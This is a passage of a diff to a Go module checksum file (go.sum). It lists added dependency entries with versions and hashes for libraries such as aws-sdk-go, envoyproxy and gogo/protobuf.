+github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho=
+github.com/anmitsu/go-shlex v0.0.0-20161002113705-648efa622239/go.mod h1:2FmKhYUyUczH0OGQWaF5ceTx0UBShxjsH6f8oGKYe2c=
+github.com/anmitsu/go-shlex v0.0.0-20200514113438-38f4b401e2be/go.mod h1:ySMOLuWl6zY27l47sB3qLNK6tF2fkHG55UZxx8oIVo4=
+github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY=
+github.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g9DP+DQ=
+github.com/apache/beam v2.28.0+incompatible/go.mod h1:/8NX3Qi8vGstDLLaeaU7+lzVEu/ACaQhYjeefzQ0y1o=
+github.com/apache/beam v2.30.0+incompatible/go.mod h1:/8NX3Qi8vGstDLLaeaU7+lzVEu/ACaQhYjeefzQ0y1o=
+github.com/apache/thrift v0.12.0/go.mod h1:cp2SuWMxlEZw2r+iP2GNCdIi4C1qmUzdZFSVb+bacwQ=
+github.com/apache/thrift v0.13.0/go.mod h1:cp2SuWMxlEZw2r+iP2GNCdIi4C1qmUzdZFSVb+bacwQ=
+github.com/apex/log v1.1.4/go.mod h1:AlpoD9aScyQfJDVHmLMEcx4oU6LqzkWp4Mg9GdAcEvQ=
+github.com/apex/logs v0.0.4/go.mod h1:XzxuLZ5myVHDy9SAmYpamKKRNApGj54PfYLcFrXqDwo=
+github.com/aphistic/golf v0.0.0-20180712155816-02c07f170c5a/go.mod h1:3NqKYiepwy8kCu4PNA+aP7WUV72eXWJeP9/r3/K9aLE=
+github.com/aphistic/sweet v0.2.0/go.mod h1:fWDlIh/isSE9n6EPsRmC0det+whmX6dJid3stzu0Xys=
+github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o=
+github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8=
+github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY=
+github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
+github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8=
+github.com/armon/go-socks5 v0.0.0-20160902184237-e75332964ef5/go.mod h1:wHh0iHkYZB8zMSxRWpUBQtwG5a7fFgvEO+odwuTv2gs=
+github.com/aryann/difflib v0.0.0-20170710044230-e206f873d14a/go.mod h1:DAHtR1m6lCRdSC2Tm3DSWRPvIPr6xNKyeHdqDQSQT+A=
+github.com/asaskevich/govalidator v0.0.0-20180720115003-f9ffefc3facf/go.mod h1:lB+ZfQJz7igIIfQNfa7Ml4HSf2uFQQRzpGGRXenZAgY=
+github.com/aws/aws-lambda-go v1.13.3/go.mod h1:4UKl9IzQMoD+QF79YdCuzCwp8VbmG4VAQwij/eHl5CU=
+github.com/aws/aws-sdk-go v1.15.27/go.mod h1:mFuSZ37Z9YOHbQEwBWztmVzqXrEkub65tZoCYDt7FT0=
+github.com/aws/aws-sdk-go v1.19.18/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
+github.com/aws/aws-sdk-go v1.19.45/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
+github.com/aws/aws-sdk-go v1.20.6/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
+github.com/aws/aws-sdk-go v1.23.20/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
+github.com/aws/aws-sdk-go v1.25.11/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
+github.com/aws/aws-sdk-go v1.27.0/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo=
+github.com/aws/aws-sdk-go v1.30.29/go.mod h1:5zCpMtNQVjRREroY7sYe8lOMRSxkhG6MZveU8YkpAk0=
+github.com/aws/aws-sdk-go v1.37.0/go.mod h1:hcU610XS61/+aQV88ixoOzUoG7v3b31pl2zKMmprdro=
+github.com/aws/aws-sdk-go-v2 v0.18.0/go.mod h1:JWVYvqSMppoMJC0x5wdwiImzgXTI9FuZwxzkQq9wy+g=
+github.com/aybabtme/rgbterm v0.0.0-20170906152045-cc83f3b3ce59/go.mod h1:q/89r3U2H7sSsE2t6Kca0lfwTK8JdoNGS/yzM/4iH5I=
+github.com/benbjohnson/clock v1.0.3/go.mod h1:bGMdMPoPVvcYyt1gHDf4J2KE153Yf9BuiUKYMaxlTDM=
+github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q=
+github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8=
+github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
+github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs=
+github.com/bketelsen/crypt v0.0.3-0.20200106085610-5cbc8cc4026c/go.mod h1:MKsuJmJgSg28kpZDP6UIiPt0e0Oz0kqKNGyRaWEPv84=
+github.com/blakesmith/ar v0.0.0-20190502131153-809d4375e1fb/go.mod h1:PkYb9DJNAwrSvRx5DYA+gUcOIgTGVMNkfSCbZM8cWpI=
+github.com/boltdb/bolt v1.3.1/go.mod h1:clJnj/oiGkjum5o1McbSZDSLxVThjynRyGBgiAx27Ps=
+github.com/boombuler/barcode v1.0.1/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8=
+github.com/caarlos0/ctrlc v1.0.0/go.mod h1:CdXpj4rmq0q/1Eb44M9zi2nKB0QraNKuRGYGrrHhcQw=
+github.com/campoy/unique v0.0.0-20180121183637-88950e537e7e/go.mod h1:9IOqJGCPMSc6E5ydlp5NIonxObaeu/Iub/X03EKPVYo=
+github.com/casbin/casbin/v2 v2.1.2/go.mod h1:YcPU1XXisHhLzuxH9coDNf2FbKpjGlbCg3n9yuLkIJQ=
+github.com/cavaliercoder/go-cpio v0.0.0-20180626203310-925f9528c45e/go.mod h1:oDpT4efm8tSYHXV5tHSdRvBet/b/QzxZ+XyyPehvm3A=
+github.com/cenkalti/backoff v2.2.1+incompatible/go.mod h1:90ReRw6GdpyfrHakVjL/QHaoyV4aDUVVkXQJJJ3NXXM=
+github.com/census-instrumentation/opencensus-proto v0.2.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
+github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
+github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU=
+github.com/certifi/gocertifi v0.0.0-20191021191039-0944d244cd40/go.mod h1:sGbDF6GwGcLpkNXPUTkMRoywsNa/ol15pxFe6ERfguA=
+github.com/certifi/gocertifi v0.0.0-20200922220541-2c3bb06c6054/go.mod h1:sGbDF6GwGcLpkNXPUTkMRoywsNa/ol15pxFe6ERfguA=
+github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc=
+github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
+github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
+github.com/chzyer/logex v1.1.10 h1:Swpa1K6QvQznwJRcfTfQJmTE72DqScAa40E+fbHEXEE=
+github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI=
+github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e h1:fY5BOSpyZCqRo5OhCuC+XN+r/bBCmeuuJtjz+bCNIf8=
+github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI=
+github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1 h1:q763qf9huN11kDQavWsoZXJNW3xEE4JJyHa5Q25/sd8=
+github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU=
+github.com/clbanning/x2j v0.0.0-20191024224557-825249438eec/go.mod h1:jMjuTZXRI4dUb/I5gc9Hdhagfvm9+RyrPryS/auMzxE=
+github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw=
+github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc=
+github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
+github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk=
+github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI=
+github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
+github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
+github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
+github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs=
+github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ=
+github.com/cockroachdb/datadriven v0.0.0-20190809214429-80d97fb3cbaa/go.mod h1:zn76sxSg3SzpJ0PPJaLDCu+Bu0Lg3sKTORVIj19EIF8=
+github.com/cockroachdb/datadriven v0.0.0-20200714090401-bf6692d28da5/go.mod h1:h6jFvWxBdQXxjopDMZyH2UVceIRfR84bdzbkoKrsWNo=
+github.com/cockroachdb/errors v1.2.4/go.mod h1:rQD95gz6FARkaKkQXUksEje/d9a6wBJoCr5oaCLELYA=
+github.com/cockroachdb/logtags v0.0.0-20190617123548-eb05cc24525f/go.mod h1:i/u985jwjWRlyHXQbwatDASoW0RMlZ/3i9yJHE2xLkI=
+github.com/codahale/hdrhistogram v0.0.0-20161010025455-3a0bb77429bd/go.mod h1:sE/e/2PUdi/liOCUjSTXgM1o87ZssimdTWN964YiIeI=
+github.com/codegangsta/cli v1.20.0/go.mod h1:/qJNoX69yVSKu5o4jLyXAENLRyk1uhi7zkbQ3slBdOA=
+github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk=
+github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
+github.com/coreos/etcd v3.3.13+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE=
+github.com/coreos/go-etcd v2.0.0+incompatible/go.mod h1:Jez6KQU2B/sWsbdaef3ED8NzMklzPG4d5KIOhIy30Tk=
+github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
+github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk=
+github.com/coreos/go-systemd v0.0.0-20180511133405-39ca1b05acc7/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
+github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
+github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4=
+github.com/coreos/go-systemd/v22 v22.1.0/go.mod h1:xO0FLkIi5MaZafQlIrOotqXZ90ih+1atmu1JpKERPPk=
+github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc=
+github.com/coreos/pkg v0.0.0-20160727233714-3ac0863d7acf/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
+github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA=
+github.com/corpix/uarand v0.1.1/go.mod h1:SFKZvkcRoLqVRFZ4u25xPmp6m9ktANfbpXZ7SJ0/FNU=
+github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE=
github.com/cpuguy83/go-md2man/v2 v2.0.0-20190314233015-f79a8a8ca69d/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
+github.com/cpuguy83/go-md2man/v2 v2.0.0 h1:EoUDS0afbrsXAZ9YQ9jdu/mZ2sXgT1/2yyNng4PGlyM=
+github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU=
+github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY=
+github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
+github.com/creack/pty v1.1.11/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E=
+github.com/cyberdelia/go-metrics-graphite v0.0.0-20161219230853-39f87cc3b432/go.mod h1:xwIwAxMvYnVrGJPe2FKx5prTrnAjGOD8zvDOnxnrrkM=
+github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/devigned/tab v0.1.1/go.mod h1:XG9mPq0dFghrYvoBF3xdRrJzSTX1b7IQrvaL9mzjeJY=
+github.com/dgraph-io/badger v1.6.2/go.mod h1:JW2yswe3V058sS0kZ2h/AXeDSqFjxnZcRrVH//y2UQE=
+github.com/dgraph-io/badger/v2 v2.2007.4/go.mod h1:vSw/ax2qojzbN6eXHIx6KPKtCSHJN/Uz0X0VPruTIhk=
+github.com/dgraph-io/ristretto v0.0.2/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E=
+github.com/dgraph-io/ristretto v0.0.3-0.20200630154024-f66de99634de/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E=
+github.com/dgraph-io/ristretto v0.0.4-0.20200906165740-41ebdbffecfd/go.mod h1:YylP9MpCYGVZQrly/j/diqcdUetCRRePeBB0c2VGXsA=
+github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ=
+github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw=
+github.com/dgryski/go-farm v0.0.0-20200201041132-a6ae2369ad13/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw=
+github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no=
+github.com/dimchansky/utfbom v1.1.0/go.mod h1:rO41eb7gLfo8SF1jd9F8HplJm1Fewwi4mQvIirEdv+8=
+github.com/dimchansky/utfbom v1.1.1/go.mod h1:SxdoEBH5qIqFocHMyGOXVAybYJdr71b1Q/j0mACtrfE=
+github.com/dustin/go-humanize v0.0.0-20171111073723-bb3d318650d4/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
+github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk=
+github.com/eapache/go-resiliency v1.1.0/go.mod h1:kFI+JgMyC7bLPUVY133qvEBtVayf5mFgVsvEsIPBvNs=
+github.com/eapache/go-xerial-snappy v0.0.0-20180814174437-776d5712da21/go.mod h1:+020luEh2TKB4/GOp8oxxtq0Daoen/Cii55CzbTV6DU=
+github.com/eapache/queue v1.1.0/go.mod h1:6eCeP0CKFpHLu8blIFXhExK/dRa7WDZfr6jVFPTqq+I=
+github.com/edsrzf/mmap-go v1.0.0/go.mod h1:YO35OhQPt3KJa3ryjFM5Bs14WD66h8eGKpfaBNrHW5M=
+github.com/emirpasic/gods v1.12.0/go.mod h1:YfzfFFoVP/catgzJb4IKIqXjX78Ha8FMSDh3ymbK86o=
+github.com/envoyproxy/go-control-plane v0.6.9/go.mod h1:SBwIajubJHhxtWwsL9s8ss4safvEdbitLhGGK48rN6g=
+github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
+github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4=
+github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98=
+github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po=
+github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk=
+github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk=
+github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ=
+github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0=
+github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
+github.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c=
+github.com/etcd-io/gofail v0.0.0-20190801230047-ad7f989257ca/go.mod h1:49H/RkXP8pKaZy4h0d+NW16rSLhyVBt4o6VLJbmOqDE=
+github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=
+github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU=
+github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc=
+github.com/flynn/noise v1.0.0/go.mod h1:xbMo+0i6+IGbYdJhF31t2eR1BIU0CYc12+BNAKwUTag=
+github.com/form3tech-oss/jwt-go v3.2.2+incompatible/go.mod h1:pbq4aXjuKjdthFRnoDwaVPLA+WlJuPGy+QneDUgJi2k=
+github.com/form3tech-oss/jwt-go v3.2.3+incompatible/go.mod h1:pbq4aXjuKjdthFRnoDwaVPLA+WlJuPGy+QneDUgJi2k=
+github.com/fortytw2/leaktest v1.2.0/go.mod h1:jDsjWgpAGjm2CA7WthBh/CdZYEPF31XHquHwclZch5g=
+github.com/fortytw2/leaktest v1.3.0/go.mod h1:jDsjWgpAGjm2CA7WthBh/CdZYEPF31XHquHwclZch5g=
+github.com/franela/goblin v0.0.0-20200105215937-c9ffbefa60db/go.mod h1:7dvUGVsVBjqR7JHJk0brhHOZYGmfBYOrK0ZhYMEtBr4=
+github.com/franela/goreq v0.0.0-20171204163338-bcd34c9993f8/go.mod h1:ZhphrRTfi2rbfLwlschooIH4+wKKDR4Pdxhh+TRoA20=
+github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo=
+github.com/fullstorydev/grpcurl v1.8.0/go.mod h1:Mn2jWbdMrQGJQ8UD62uNyMumT2acsZUCkZIqFxsQf1o=
+github.com/fullstorydev/grpcurl v1.8.1/go.mod h1:3BWhvHZwNO7iLXaQlojdg5NA6SxUDePli4ecpK1N7gw=
+github.com/getsentry/raven-go v0.2.0/go.mod h1:KungGk8q33+aIAZUIVWZDr2OfAEBsO49PX4NzFV5kcQ=
+github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04=
+github.com/gliderlabs/ssh v0.2.2/go.mod h1:U7qILu1NlMHj9FlMhZLlkCdDnU1DBEAqr0aevW3Awn0=
+github.com/go-chi/chi v4.0.2+incompatible/go.mod h1:eB3wogJHnLi3x/kFX2A+IbTBlXxmMeXJVKy9tTv1XzQ=
+github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU=
+github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
+github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8=
+github.com/go-ini/ini v1.25.4/go.mod h1:ByCAeIL28uOIIG0E3PJtZPDL8WnHpFKFOtgjp+3Ies8=
+github.com/go-kit/kit v0.4.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
+github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
+github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as=
+github.com/go-kit/kit v0.10.0/go.mod h1:xUsJbQ/Fp4kEt7AFgCuvyX4a71u8h9jB8tj/ORgOZ7o=
+github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY=
+github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE=
+github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk=
+github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A=
+github.com/go-piv/piv-go v1.7.0/go.mod h1:ON2WvQncm7dIkCQ7kYJs+nc3V4jHGfrrJnSF8HKy7Gk=
+github.com/go-redis/redis v6.15.9+incompatible/go.mod h1:NAIEuMOZ/fxfXJIrKDQDz8wamY7mA7PouImQ2Jvg6kA=
+github.com/go-sql-driver/mysql v1.4.0/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w=
+github.com/go-sql-driver/mysql v1.4.1/go.mod h1:zAC/RDZ24gD3HViQzih4MyKcchzm+sOG5ZlKdlhCg5w=
+github.com/go-sql-driver/mysql v1.5.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
+github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
+github.com/go-stack/stack v1.6.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
+github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9 h1:ptTza/LLPmfRtmz77X+6J61Wyf5e1hz5xYMvRk/hkE4=
github.com/gocarina/gocsv v0.0.0-20211203214250-4735fba0c1d9/go.mod h1:5YoVOkjYAQumqlV356Hj3xeYh4BdZuLE0/nRkf2NKkI=
+github.com/godbus/dbus/v5 v5.0.3/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
+github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA=
+github.com/gofrs/uuid v4.0.0+incompatible/go.mod h1:b2aQJv3Z4Fp6yNu3cdSllBxTCLRxnplIgP/c0N/04lM=
+github.com/gogo/googleapis v1.1.0/go.mod h1:gf4bu3Q80BeJ6H1S1vYPm8/ELATdvryBaNFGgqEef3s=
+github.com/gogo/protobuf v1.1.1/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
+github.com/gogo/protobuf v1.2.0/go.mod h1:r8qH/GZQm5c6nD/R0oafs1akxWv10x8SbQlK7atdtwQ=
+github.com/gogo/protobuf v1.2.1/go.mod h1:hp+jE20tsWTFYpLwKvXlhS1hjn+gTNwPg2I6zVXpSg4=
+github.com/gogo/protobuf v1.3.0/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o=
+github.com/gogo/protobuf v1.3.1/go.mod h1:SlYgWuQ5SjCEi6WLHjHCa1yvBfUnHcTbrrZtXPKa29o=
+github.com/gogo/protobuf v1.3.2/go.mod h1:P1XiOD3dCwIKUDQYPy72D8LYyHL2YPYrpS2s69NZV8Q=
+github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q=
+github.com/golang/groupcache v0.0.0-20160516000752-02826c3e7903/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
+github.com/golang/groupcache v0.0.0-20190129154638-5b532d6fd5ef/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
+github.com/golang/groupcache v0.0.0-20190702054246-869f871628b6/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
+github.com/golang/groupcache v0.0.0-20191227052852-215e87163ea7/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
+github.com/golang/groupcache v0.0.0-20200121045136-8c9f03a8e57e/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
+github.com/golang/groupcache v0.0.0-20210331224755-41bb18bfe9da/go.mod h1:cIg4eruTrX1D+g88fzRXU5OdNfaM+9IcxsU14FzY7Hc=
+github.com/golang/mock v1.1.1/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
+github.com/golang/mock v1.2.0/go.mod h1:oTYuIxOrZwtPieC+H1uAHpcLFnEyAGVDL/k47Jfbm0A=
+github.com/golang/mock v1.3.1/go.mod h1:sBzyDLLjw3U8JLTeZvSv8jJB+tU5PVekmnlKIyFUx0Y=
